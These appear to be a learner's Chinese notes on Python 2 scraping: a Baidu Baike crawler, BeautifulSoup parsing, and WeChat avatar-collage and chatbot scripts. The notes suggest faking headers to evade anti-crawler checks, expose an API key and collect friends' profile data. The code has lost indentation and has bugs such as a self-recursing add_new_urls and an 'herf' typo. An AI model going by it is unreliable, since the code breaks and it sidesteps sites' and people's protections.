    网页解析器:解析网页可解析出①有价值的数据②另一方面,每个网页都包含有指向其他网页的URL,解析出来后可补充进“URL管理器”
    image
    image

  1. URL管理器的实现方式有三种,一种是python内存中,利用set()函数储存url
    第二种是关联 第三种就是存放在缓存数据库中,如redis(这个不太明白 )
    1. 常见的网页下载器,官方的是urllib2,在py3.x后被改为urllib.request,支持登录网页的cookies处理以及代理处理),使用from urllib import

      request添加模块

  2. 基本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    # coding:utf8  #当文件中有中文时,需要声明字符集  
    import urllib2
    import cookielib
    #引用urllib2、cookielib模块
    url='https://www.zhihu.com'
    cj=cookielib.CookieJar()
    #将查询数据赋值给变量
    opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    urllib2.install_opener(opener)
    #向urllib2模块添加opener
    request=urllib2.Request(url)
    request.add_header('user-agent','Mozilla/5.0')
    response1=urllib2.urlopen(url)
    print response1.getcode()
    print cj
    print response1.read()
  3. 基本的urlopen()函数不支持验证、cookie或其他HTTP高级功能。要支持这些功能,必须使用build_opener()函数来创建自己的自定义Opener对象

  4. 网页解析器常用beatuifulsoup模块进行解析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # coding:utf8
    import urllib2
    from bs4 import BeautifulSoup
    url='https://www.zhihu.com'
    request=urllib2.Request(url)
    response1=urllib2.urlopen(url)
    soup=BeautifulSoup(response1.read(),'html.parser',from_encoding="utf-8")
    #第一个参数是解析出网页的代码,第二个是解析方式,第三个是用的字符集
    links=soup.find_all('a')
    for link in links:
    print link.name,link['href'],link.get_text()
    #遍历网页html代码中的a节点,并输出节点的名字、链接、对应文本
    print(soup)
  5. 通过一个简单爬虫实例来学习

    控制器
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    #coding:utf-8
    import url_manager,html_downloader,html_parser,html_outputer
    class SpiderMain(object):
    def __init__(self):
    self.urls=url_manager.UrlManeger()
    self.downloader=html_downloader.HtmlDownloader()
    self.parser=html_parser.HtmlParser()
    self.outputer=html_outputer.HtmlOutputer()
    #初始化管理器、下载器、解析器、输出器
    def craw(self,root_url):
    count=1#记录爬取的次数
    self.urls.add_new_url(root_url)
    while self.urls.has_new_url():#如果有新的url
    try:
    new_url=self.urls.get_new_url() #放进一个新的url
    print 'craw %d:%s'%(count,new_url)
    html_cont=self.downloader.download(new_url)#下载新url对应的页面
    new_urls,new_data=self.parser.parser(new_url,html_cont)#对新的url进行代码解析,又得到新的url和有效数据
    self.urls.add_new_urls(new_urls)#将得到的新的url加入到url管理器进行爬取
    self.outputer.collect_data(new_data)#收集有效的数据
    if count==1000:#设置查找到1000个url结束爬取
    break
    count=count+1
    except:
    print 'craw failed'#标记url爬取失败
    self.outputer.output_html()#输出为html形式

    if __name__=="__main__":
    root_url="https://baike.baidu.com/item/Python"#设置爬虫的入口url
    obj_spider=SpiderMain()
    obj_spider.craw(root_url)#启动爬虫
管理器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#coding:utf-8
class UrlManeger(object):
def __init__(self):
self.new_urls=set()#将新的url输出为一个集合并且删除重复元素
self.old_urls=set()#将新的url输出为一个集合并且删除重复元素

def add_new_url(self, url):#向管理器中添加一个新的url
if url is None: #判断url是否存在
return
if url not in self.new_urls and url not in self.old_urls: #判断url是否在待爬取或已爬取页面
self.new_urls.add(url)#将url添加到未爬取列表

def add_new_urls(self, new_urls):#向管理器中添加批量url
if new_urls is None or len(new_urls) == 0:
return
for url in new_urls:#从urls中遍历url添加到URL集合中
self.add_new_urls(url)

def has_new_url(self):#验证是否添加新的url
return len(self.new_urls) != 0

def get_new_url(self):#从管理器中拿出一个新的url进行爬取
new_url=self.new_urls.pop()#新的url集合中随机取出一个url并且从集合中删去这个url
self.old_urls.add(new_url)
return new_url
解析器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class HtmlParser(object):
def _get_new_urls(self, page_url, soup):
new_urls=set()
links=soup.find_all('a', href=re.compile(r'/item/'))#正则匹配,查询a标签中href属性
for link in links:#遍历links列表(匹配的url片段)
new_url=link['herf']#抓取herf属性值(link被储存为字典,用[]取出数据)
new_full_url=urlparse.urljoin(page_url,new_url)#将url拼接起来
new_urls.add(new_full_url)#将补全的url加入未爬取url名单
return new_urls

def _get_new_data(self, page_url, soup):
res_data={}#建立一个res_data字典
res_data['url']=page_url#加入url
title_node=soup.find('dd', class_="lemmaWgt-lemmaTitle-title").find("h1")#抓取dd标签class属性的hi属性
res_data['title']=title_node.get_text()#取得h1标签文本
sammary_node=soup.find('div', class_="lemma-summary")
res_data['sammary']=sammary_node.get_text()
return res_data#输出字典

def parser(self, new_url, html_cont):
if new_url is None or html_cont is None:#判断页面是否存在
return
soup=BeautifulSoup(html_cont, 'html_parser',from_encoding='utf-8')#以utf-8字符集解析页面html代码
new_urls=self._get_new_urls(new_url, soup)
new_data=self._get_new_data(new_url, soup)
return new_urls, new_data
下载器
1
2
3
4
5
6
7
8
9
10
11
12
13
#coding:utf-8
#这里只使用了最简单的方法
import urllib2#载入urllib2模块

class HtmlDownloader(object):
def download(self, url):
if url is None:#验证url是否存在
return None
response=urllib2.urlopen(url)#下载url
if response.getcode() != 200:#判断状态码
return None
res=response.read()
return res#读取网页内容
输出器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#coding:utf-8
class HtmlOutputer(object):
def __init__(self):
self.datas=[]#设置data为一个列表
def collect_data(self,data):
if data is None:
return
self.datas.append(data)

def output_html(self):
fout=open('output.html','w')#写出一个html文件
fout.write('<html>')
fout.write('<meta charset=\'utf-8\'>')
fout.write('<body>')
fout.write('<table>')
for data in self.datas:
fout.write('<tr>')
fout.write('<td>%s</td>'%data['url'])
fout.write('<td>%s</td>'%data['title'].encode('utf-8'))
fout.write('<td>%s</td>'%data['sammary'].encode('utf-8'))
fout.write('</tr>')
fout.write('</table>')
fout.write('</body>')
fout.write('</html>')
fout.close()

这个爬取百度百科的模块是按照控制器、URL管理器、下载器、解析器、输出器分开编写的

  1. 最常用的是“.text”和”.content”,前者输出unicode,后者输出二进制
  2. 这是PIL模块中resize函数(重新设置图片尺寸)resize((size, size), Image.ANTIALIAS)图片质量的参数
    image
  3. 某些网站如知乎,存在反爬虫机制,如果要成功加载页面需要伪造头文件
  4. 照着网上的教程,熟悉一下itchat模块,做微信头像拼图的代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    # -*- coding: utf-8 -*
    import itchat
    import os
    from math import sqrt
    from PIL import Image

    itchat.auto_login()#微信登录接口
    for friend in itchat.get_friends(update=True)[0:]:#获取好友列表,并保持更新
    print friend['NickName'], friend['RemarkName'], friend['Sex'], friend['Province'], friend['Signature']#输出好友的基本信息
    img = itchat.get_head_img(userName=friend["UserName"])#获取好友头像
    path="C:\\Users\\14564\\Pictures\\pachong\\"+friend['NickName']+'('+friend['RemarkName']+').jpg'#保存获取的头像
    try:
    with open(path,'wb') as f:
    f.write(img)
    except Exception as e:
    print repr(e)

    def pt():
    path2="C:\\Users\\14564\\Pictures\\pachong\\"
    pList=[]
    for item in os.listdir(path2):#遍历出单个头像
    imgPath=os.path.join(path2,item)
    pList.append(imgPath)#将头像图片保存到字典中
    total=len(pList)#计算图片个数
    line=int(sqrt(total))#计算合成图片边长
    NewImage=Image.new('RGB',(128*line,128*line))#创建一个新的底片存放大小为128px的所有头像
    x=0
    y=0
    for item in pList:
    try:
    Img=Image.open(item)
    Img=Img.resize((128,128),Image.ANTIALIAS)#将头像图片改变大小
    NewImage.paste(Img,(x*128,y*128))#不断添加头像
    x+=1
    except IOError:
    print "第%d行,%d列文件读取失败!IOError:%s"%(y,x,item)
    x-=1
    if x==line:#将一行填完后移动到下一行
    x=0
    y+=1
    if (x+line*y)==line*line:#判断
    break
    NewImage.save(path2+'final.jpg')#保存为final.jpg
    pt()
    itchat.run()
    8.一个关于微信聊天机器人的程序
    # -*- coding: utf-8 -*
    import itchat, time, re
    from itchat.content import *
    import urllib2, urllib
    import json

    @itchat.msg_register([TEXT])#向注册方法传入msg包含text文本消息内容,这里的@是一个装饰器
    def text_reply(msg):
    info=msg['Text'].encode('UTF-8')#将得到的消息存放在info变量中
    url='http://wwww.tuling123.com/openapi/api'#链接到图灵机器人api
    data={u"key":"f0fa6a1ec8c542aeaa606a14b2ee8ecd","info":info}#post传入参数
    data=urllib.urlencode(data)
    url2=urllib2.Request(url,data)

    response= urllib2.urlopen(url2)
    apicontent=response.read()
    s=json.loads(apicontent,encoding="utf-8")
    print 's==',s
    if s['code']==100000:
    itchat.send(s['text'],msg['FromUserName'])#将从api得到的json文本发送给好友
    itchat.auto_login(hotReload=True)#hotReload表示保持登录状态
    itchat.run(debug=True)
  5. 关于requests模块的一些补充
    常见报错说明
    image

    1
    2
    with open('小猪图片.jpg','wb') as f:
    f.write(r.content)

r.content将返回图像的二进制内容,当我们要保存到本地文件时,写入方式必须为“wb”,否则会报错

,